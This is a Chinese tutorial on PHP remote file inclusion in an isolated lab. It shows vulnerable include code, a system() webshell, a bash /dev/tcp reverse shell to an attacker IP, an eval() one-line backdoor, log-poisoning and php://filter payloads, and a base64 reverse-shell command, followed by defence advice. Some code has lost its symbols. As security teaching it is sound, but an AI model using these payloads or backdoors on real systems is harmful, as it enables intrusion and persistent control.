PHP远程文件包含漏洞实战:从环境搭建到Getshell的完整渗透测试 1. 项目概述从靶场搭建到漏洞利用的完整路径很多刚入门Web安全的朋友一听到“远程文件包含”Remote File Inclusion, RFI和“Getshell”这些词可能会觉得既神秘又遥远仿佛这是只有高手才能触及的领域。实际上理解并复现一个漏洞是掌握其原理和防御方法最有效的方式。今天我们就从一个完全“干净”的环境开始一步步搭建一个存在漏洞的Web服务器然后利用这个漏洞最终实现“Getshell”——也就是获取服务器的命令行控制权。这个过程本质上是一次完整的渗透测试实验目的是为了让你深刻理解漏洞的成因、利用条件以及其巨大的危害性从而在未来的开发或运维工作中能够主动避免类似的安全问题。我们这次实验的核心就是围绕PHP的远程文件包含漏洞展开。简单来说当一个PHP应用在包含外部文件时比如使用include($_GET[file])这样的代码如果开发者没有对用户传入的文件名参数进行严格的过滤和校验攻击者就有可能让服务器去包含一个存放在远程服务器上的恶意PHP文件并执行其中的代码。这就像你让一个快递员去取件结果他完全按照你给的地址去取而这个地址指向了一个坏人准备好的炸弹包裹。整个流程涉及Web服务器环境搭建我们选用经典的LAMP组合Linux Apache MySQL PHP、漏洞代码编写、漏洞利用链构建以及最后的权限维持。我会把每个步骤的“为什么”都讲清楚确保你不仅能跟着做出来更能明白背后的逻辑。2. 实验环境设计与核心思路拆解在动手之前我们必须把整个实验的蓝图规划清楚。一个成功的漏洞复现实验环境隔离是首要原则。我强烈建议你在虚拟机如VMware或VirtualBox中完成所有操作这能确保你的宿主机你真正的电脑绝对安全同时也能方便地重置实验环境。2.1 靶机与攻击机分离架构我们将采用经典的“靶机-攻击机”双机模式靶机Victim Machine运行我们即将搭建的存在漏洞的Web应用。我们将使用Ubuntu Server系统因为它轻量且命令行操作清晰更贴近生产服务器环境。在这台机器上我们将安装并配置Apache、PHP并故意编写一段存在远程文件包含漏洞的代码。攻击机Attacker Machine可以是你的宿主机也可以是同一网络下的另一台虚拟机如Kali Linux。它的作用是承载我们的恶意PHP文件即“木马”并利用靶机的漏洞让靶机来包含并执行这个远程文件。为什么这么设计因为真实世界的攻击就是跨网络发生的。这种架构能最真实地模拟攻击场景漏洞存在于一个公开的Web服务器靶机上而攻击者从另一台受其控制的机器攻击机发起攻击。2.2 漏洞原理与利用链深度解析远程文件包含漏洞的利用远不止传一个参数那么简单它是一条精密的利用链。我们需要深刻理解其每一个环节的依赖条件漏洞触发点靶机Web应用代码中存在未过滤的动态文件包含函数例如include($_GET[page])。这是所有故事的起点。PHP配置要求这是最关键的一环。PHP有两个至关重要的配置项allow_url_fopen On允许PHP的文件处理函数如fopen,include打开URL如http://, ftp://作为文件。默认情况下这个选项在很多环境中是开启的。allow_url_include On允许include,require等文件包含函数直接包含URL指向的远程文件。在PHP 5.2之后的版本中这个选项默认是关闭的。这也是为什么纯粹的远程文件包含漏洞在现代PHP环境中相对少见的原因。我们的实验需要手动开启它以模拟那些配置不当或使用了老旧PHP版本的真实环境。攻击载荷攻击机上需要托管一个恶意的PHP脚本。这个脚本的内容就是我们的“武器”比如一个可以执行系统命令的Webshell。网络可达性靶机必须能够通过网络访问到攻击机上托管的恶意文件。在实验环境中这通常意味着它们需要在同一个局域网段或者攻击机的服务暴露在了公网实验时不建议。我们的利用链就是攻击者访问靶机的漏洞URL如http://靶机IP/vuln.php?filehttp://攻击机IP/shell.php - 靶机PHP解析器看到allow_url_include开启于是去请求这个远程URL - 攻击机的Web服务器如Apache, Nginx, 甚至Python的简单HTTP服务返回恶意PHP文件内容 - 靶机将远程文件内容作为本地PHP代码执行 - 攻击者通过恶意脚本中预设的功能如命令执行控制靶机。注意在实际的渗透测试或CTF比赛中allow_url_include关闭是常态。此时攻击者往往会转向利用本地文件包含LFI配合其他技巧如日志注入、PHP伪协议、文件上传等来达到同样目的。本次我们先攻克“理想情况”下的RFI这是理解更复杂利用技巧的基础。3. 靶机Web服务器搭建与漏洞环境配置现在让我们开始动手搭建靶机环境。我假设你已经准备好了一台安装好Ubuntu Server例如20.04 LTS的虚拟机并拥有root或sudo权限。3.1 基础LAMP环境安装首先更新系统软件包列表并安装Apache、PHP及常用模块。MySQL在本实验中不是必须的但为了环境完整我们一并安装。sudo apt update sudo apt upgrade -y sudo apt install apache2 mysql-server php libapache2-mod-php php-mysql -y安装完成后可以通过以下命令快速验证服务是否正常运行sudo systemctl status apache2 # 应显示 active (running) sudo systemctl status mysql # 应显示 active (running) php -v # 应显示PHP版本信息如PHP 7.4.x此时在浏览器访问你的靶机IP地址如http://192.168.1.100你应该能看到Apache的默认欢迎页面这证明Web服务已就绪。3.2 关键PHP配置修改开启远程包含如前所述默认的PHP配置是禁止远程文件包含的。我们需要修改PHP的配置文件来开启它。首先找到正在被Apache使用的PHP配置文件。通常它位于/etc/php/7.x/apache2/php.ini请将7.x替换为你的实际PHP主版本号如7.4。使用文本编辑器如nano或vim打开它sudo nano /etc/php/7.4/apache2/php.ini在文件中搜索allow_url_fopen和allow_url_include这两个配置项。使用CtrlW进行搜索。找到allow_url_fopen Off将其改为allow_url_fopen On。找到allow_url_include Off将其改为allow_url_include On。修改完成后保存并退出编辑器在nano中按CtrlX然后按Y确认再按Enter。修改配置的意图allow_url_fopen是allow_url_include的前提。只有允许打开URL才谈得上包含URL。我们手动将它们打开正是为了创造那个关键的漏洞利用条件。在生产环境中除非有极其特殊且受控的需求否则绝对不要开启allow_url_include。3.3 创建存在漏洞的Web应用现在我们在Apache的Web根目录下创建我们的漏洞演示文件。Apache的默认Web根目录通常是/var/www/html/。创建一个名为vuln.php的文件sudo nano /var/www/html/vuln.php将以下存在严重安全漏洞的代码写入该文件?php // 危险未经过滤的用户输入直接用于文件包含 $page $_GET[file]; if($page) { include($page); } else { echo Please specify a file to include via file parameter, e.g., ?fileinfo.php; } ?再创建一个正常的info.php文件用于后续测试本地包含sudo nano /var/www/html/info.php内容为?php phpinfo(); ?3.4 重启服务与初步测试修改配置和代码后必须重启Apache服务以使更改生效sudo systemctl restart apache2现在进行初步测试测试本地文件包含LFI访问http://靶机IP/vuln.php?fileinfo.php。如果页面显示了PHP的配置信息phpinfo页面说明本地包含功能正常我们的漏洞代码已经生效。测试PHP配置访问http://靶机IP/info.php在显示的phpinfo页面中搜索allow_url_fopen和allow_url_include这两个核心配置。确认它们的值已经是On。这是远程文件包含能否成功的关键。至此一个存在远程文件包含漏洞的靶机环境已经准备就绪。它像一扇没有锁的门只等我们攻击者去推开。4. 攻击机准备与恶意载荷制作靶机准备好了现在轮到攻击机登场。攻击机可以是任何能提供Web服务的机器甚至是你宿主机上的一个简单Python HTTP服务器。这里我以在另一台Ubuntu虚拟机或你的Kali Linux上操作为例。4.1 搭建简易HTTP服务器我们不需要完整的LAMP只需要一个能通过HTTP协议提供文件访问的服务即可。Python3内置的http.server模块是最快捷的选择。在攻击机上选择一个目录例如/tmp/attack来存放我们的恶意文件并启动HTTP服务mkdir -p /tmp/attack cd /tmp/attack python3 -m http.server 8080 这条命令会在后台启动一个监听在8080端口的HTTP服务器。你可以通过访问http://攻击机IP:8080来验证服务是否正常会看到一个文件列表页面目前是空的。为什么选择Python的简单HTTP服务器因为它足够轻量、无需配置且能清晰地展示“攻击载荷通过网络传输”这一本质。在生产环境的攻击中攻击者可能会使用更隐蔽的VPS或云存储来托管恶意文件。4.2 制作远程包含的恶意PHP文件现在在/tmp/attack目录下创建我们的“武器”——恶意PHP文件。我们将制作一个功能最简单的Webshell它接收一个名为cmd的GET参数并执行其中的系统命令。创建文件shell.phpnano /tmp/attack/shell.php输入以下内容?php // 一个简单的命令执行Webshell if(isset($_GET[cmd])) { system($_GET[cmd]); } else { echo Remote File Inclusion Test Shell - Ready.; } ?载荷解析这个脚本极其危险。system()函数会直接执行传入的字符串作为系统命令。当靶机通过RFI漏洞包含这个文件时它就像在靶机本地运行一样可以执行任意命令。我们通过$_GET[‘cmd’]来从URL参数中接收要执行的命令。为了增加一点隐蔽性虽然很初级我们可以制作一个更“低调”的版本比如把代码进行Base64编码或简单混淆。但为了教学清晰我们使用最直接的版本。4.3 网络连通性测试在发起正式攻击前必须确保靶机能访问到攻击机的HTTP服务。在靶机上执行curl http://攻击机IP:8080/如果能看到攻击机/tmp/attack目录的文件列表至少包含shell.php说明网络是通的。如果遇到连接拒绝或超时请检查攻击机的防火墙是否放行了8080端口sudo ufw allow 8080。两台虚拟机之间的网络模式是否设置为“桥接”或“NAT网络”确保在同一网段。Python服务器是否确实在运行。5. 漏洞利用实战从远程包含到Getshell一切准备就绪最关键的环节来了。我们将从攻击者的视角一步步利用漏洞最终在靶机上获得一个反向Shell实现持久控制。5.1 触发远程文件包含在攻击机的浏览器中或直接在靶机上用curl构造如下攻击URLhttp://靶机IP/vuln.php?filehttp://攻击机IP:8080/shell.php访问这个URL。如果一切配置正确你会看到页面上显示 “Remote File Inclusion Test Shell - Ready.”。这是一个历史性的时刻——这行文字是从攻击机的shell.php文件输出但却在靶机的网页上显示证明靶机已经成功包含并执行了来自远程服务器的PHP代码5.2 执行系统命令验证漏洞现在我们可以通过cmd参数向这个已经被包含的Webshell发送命令了。尝试执行一些简单的系统命令来验证权限查看当前用户http://靶机IP/vuln.php?filehttp://攻击机IP:8080/shell.phpcmdwhoami页面可能会返回www-data。这是Apache服务进程通常使用的用户名权限较低但足以做很多事。查看目录列表http://靶机IP/vuln.php?filehttp://攻击机IP:8080/shell.phpcmdls -la /var/www/html你应该能看到靶机Web目录下的文件包括我们创建的vuln.php和info.php。这证实了我们可以在靶机上执行任意命令。5.3 获取交互式反向Shell通过URL参数执行命令虽然有效但交互性很差无法执行sudo、无法进行复杂交互。在真实的渗透中攻击者通常会设法获取一个“反向Shell”即让靶机主动连接到攻击机监听的一个端口并提供一个命令行交互界面。在攻击机上首先用Netcat监听一个端口例如4444nc -lvnp 4444然后通过漏洞URL让靶机执行命令连接到攻击机。我们需要构造一个能建立TCP连接并绑定Shell的命令。常用的方法是调用/bin/bash或/bin/sh。由于URL编码问题我们需要精心构造Payloadhttp://靶机IP/vuln.php?filehttp://攻击机IP:8080/shell.phpcmdbash -c bash -i /dev/tcp/攻击机IP/4444 01命令拆解bash -c ‘…’启动一个新的bash shell来执行引号内的命令。bash -i启动一个交互式的bash。 /dev/tcp/攻击机IP/4444将标准输出和标准错误都重定向到TCP连接。/dev/tcp/是bash的一个特性允许进行TCP网络通信。01将标准输入重定向到标准输出从而形成一个完整的输入输出循环。访问这个构造好的URL后迅速查看攻击机上正在监听4444端口的Netcat窗口。如果成功你会看到连接建立的提示并且获得了一个来自靶机的bash提示符你可以尝试输入pwd,id,uname -a等命令它们都将在靶机上执行并回显结果。实操心得获取反向Shell时经常会因为靶机环境的差异如没有bash、防火墙出站规则限制、/dev/tcp不可用而失败。因此安全研究人员准备了很多备选Payload例如使用Python、PHP、Perl、Netcat甚至Telnet来建立反向连接。一个实用的技巧是先用which python3 python2 nc netcat telnet等命令探测靶机可用的工具再选用对应的Payload。5.4 权限维持与后门植入拿到一个反向Shell通常还不够稳定连接可能中断进程可能被结束。有经验的操作者会考虑进行权限维持比如植入一个更隐蔽的后门。一种常见的方法是在靶机的Web目录下写入一个永久性的Webshell文件。我们可以直接利用已经获得的Shell权限来操作# 在获得的靶机反向Shell中执行 echo ?php eval($_POST[pass]);? /var/www/html/backdoor.php这样我们在靶机的Web根目录下创建了一个名为backdoor.php的文件它使用eval函数执行POST参数pass传递的PHP代码。这是一种非常常见的“一句话木马”可以使用中国菜刀、蚁剑等工具进行连接管理比通过RFI动态包含的方式更稳定、更隐蔽。重要警告这只是实验演示在未经授权的真实系统上做这些是违法行为。在我们的实验环境中完成后请务必删除这个文件rm /var/www/html/backdoor.php。6. 漏洞利用的进阶技巧与深度利用基础的远程包含和反向Shell只是开始。在实际的渗透测试或CTF中情况往往更复杂allow_url_include通常是关闭的。此时攻击者需要利用“本地文件包含”进行迂回攻击。下面介绍几种基于LFI的经典进阶技巧。6.1 利用PHP伪协议读取源码当远程包含被禁止但本地包含依然存在时php://filter协议是一个神器。它不能直接执行代码但可以读取服务器上PHP文件的源码经过Base64编码或其它处理帮助我们发现更多漏洞如数据库密码硬编码。利用方式http://靶机IP/vuln.php?filephp://filter/readconvert.base64-encode/resource/var/www/html/vuln.php访问这个URL页面会显示一串Base64编码的字符串。将其解码就能得到vuln.php的源代码。通过阅读源码我们可以寻找其他敏感信息或漏洞点。6.2 利用日志文件注入代码这是LFI漏洞利用中非常经典的一种“变远程为本地”的思路。Web服务器如Apache、Nginx会将所有访问请求记录在访问日志中如/var/log/apache2/access.log。如果我们能控制请求中的某些部分如User-Agent头并将其写入日志然后利用LFI漏洞去包含这个日志文件就能执行我们注入的代码。利用步骤确定日志路径通常为/var/log/apache2/access.log或/var/log/nginx/access.log。可以通过错误信息或已知的LFI漏洞遍历尝试。污染日志使用工具如curl或Burp Suite发送一个特殊的HTTP请求将PHP代码放入User-Agent字段。curl -A ?php system(\$_GET[c]); ? http://靶机IP/这条命令访问了靶机首页并将一个简短的Webshell作为User-Agent记录到了访问日志里。包含日志文件执行代码http://靶机IP/vuln.php?file/var/log/apache2/access.logcwhoami如果成功将会执行whoami命令。这里c参数是我们注入到日志中的代码所期望的参数。注意事项日志文件通常很大包含执行可能会超时或失败。现代Web服务器可能会对日志进行权限限制www-data用户可能无权读取。此外多行日志或特殊字符可能会破坏PHP语法导致利用失败需要精心构造Payload。6.3 利用/proc/self/environ或/proc/self/fd/在Linux系统中/proc/是一个特殊的虚拟文件系统包含了进程和系统的信息。如果PHP以CGI模式运行攻击者有时可以通过控制环境变量如HTTP_USER_AGENT使其出现在/proc/self/environ中然后通过LFI包含该文件来执行代码。类似地/proc/self/fd/目录包含了进程打开的文件描述符其中可能包含临时文件或日志。这类利用对环境配置非常敏感成功率不如日志包含高但在某些特定场景下是唯一的出路。6.4 利用文件上传与包含的组合拳这是目前最常见、最有效的Getshell方式之一。很多应用都有文件上传功能如图片、附件。如果存在文件上传漏洞允许上传任意文件或能绕过类型检测上传PHP文件再配合一个本地文件包含漏洞攻击者就可以上传一个图片马将PHP代码嵌入图片的EXIF等信息中或者直接上传一个.php后缀的文件如果服务器不校验。通过LFI漏洞去包含这个已上传的文件路径如/uploads/temp/evil.jpg或/uploads/evil.php从而执行其中的代码。这种组合完全绕过了对远程包含的限制因为文件已经“本地化”了。7. 漏洞防御方案与安全开发实践在深刻理解了攻击原理之后我们必须知道如何防御。防御的核心思想是永远不要信任用户输入。7.1 输入验证与白名单机制最根本的解决方法是避免使用动态包含或者对动态变量进行严格的白名单过滤。// 危险做法 $page $_GET[file]; include($page); // 安全做法白名单 $allowed_pages array(home.php, news.php, contact.php); $page $_GET[page]; if (in_array($page, $allowed_pages)) { include(./pages/ . $page); } else { include(./pages/error.php); }如果必须动态包含也应将用户输入限制在某个安全目录内并使用basename()函数防止目录遍历同时添加固定的后缀。$page basename($_GET[page]); // 去除路径部分只保留文件名 include(./includes/ . $page . .php);7.2 安全的PHP配置在生产环境中务必在php.ini中设置allow_url_fopen Off allow_url_include Off这将从根本上杜绝远程文件包含漏洞。同时将open_basedir配置项设置为Web应用所在的根目录可以限制PHP文件操作的范围防止跨目录访问敏感文件如/etc/passwd。7.3 最小权限原则运行Web服务如Apache、PHP-FPM进程的用户通常是www-data应仅拥有必要的最小权限。确保Web根目录及其子目录的文件所有权和权限设置正确避免Web用户有权写入或执行敏感文件。7.4 代码审计与安全测试在开发过程中对包含include,require,include_once,require_once等函数的代码进行重点审计。在测试阶段使用静态代码分析工具如PHPStan, SonarQube和动态Web漏洞扫描器如OWASP ZAP, Burp Suite进行自动化安全测试主动发现潜在的包含漏洞。8. 常见问题排查与实战避坑指南在复现这个实验的过程中你几乎一定会遇到各种问题。下面是我总结的一些常见坑点及解决方案。问题现象可能原因排查与解决思路访问vuln.php?fileinfo.php不显示phpinfo而是下载或显示源码Apache未正确解析PHP文件。1. 检查是否安装了libapache2-mod-php。2. 检查Apache的配置中是否加载了PHP模块sudo a2enmod php7.4(版本号需匹配)3. 重启Apachesudo systemctl restart apache2。访问远程包含URL直接显示恶意文件的PHP源码而非执行结果。1. 攻击机的HTTP服务器未正确设置MIME类型将.php文件当作纯文本发送。2. 靶机PHP配置allow_url_include未生效。1. 对于Python的http.server它确实不会解析PHP。但这不影响因为靶机包含的是文件内容只要内容正确靶机会将其作为PHP代码执行。如果显示源码说明内容被正确获取了但靶机没把它当代码。2.重点检查确认php.ini修改后已保存并重启了Apache。通过phpinfo()页面确认两个allow_url开关均为On。反向Shell连接失败Netcat无响应。1. 命令构造错误特殊字符被URL编码或Shell解析有误。2. 靶机防火墙出站规则限制。3. 靶机没有/dev/tcp支持或bash版本问题。4. 攻击机防火墙入站规则限制。1. 尝试对命令进行URL编码。使用 bash -c ‘{echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ}日志包含利用失败包含日志文件后页面空白或报错。1. 日志路径不正确。2. Web进程用户www-data无权读取日志文件。3. 日志文件内容太大或包含破坏PHP语法的字符。1. 尝试常见的日志路径或通过LFI读取/etc/apache2/apache2.conf等配置文件来查找ErrorLog和CustomLog指令。2. 查看日志文件权限ls -la /var/log/apache2/access.log。可能需要临时调整权限实验环境sudo chmod 644 /var/log/apache2/access.log。3. 尝试包含最近几行的日志?file/var/log/apache2/access.logcid或者注入代码时确保是完整、正确的PHP标签且在一行内。使用php://filter协议时返回乱码或错误。文件路径错误或协议使用方式有误。确保资源路径是服务器上的绝对路径或相对Web根目录的正确相对路径。协议字符串拼写正确特别是convert.base64-encode的拼写。最后的个人体会搭建这样一个漏洞环境并亲手完成利用最大的收获不是学会了“攻击”而是刻骨铭心地理解了“防御”的重要性。每一个看似微小的配置疏忽如开启allow_url_include每一行未经严格过滤的代码如直接include($_GET[‘file’])都可能成为整个系统沦陷的起点。安全是一个整体它贯穿于架构设计、编码实践、配置管理和运维监控的每一个环节。作为开发者在写下一行代码时多问一句“用户输入可信吗”作为运维者在修改一个配置时多查一次“这个开关的风险是什么”就能避免绝大多数此类漏洞。这个实验环境请务必在隔离的虚拟机中进行完成后及时销毁切勿将漏洞代码或配置带入任何生产或测试环境。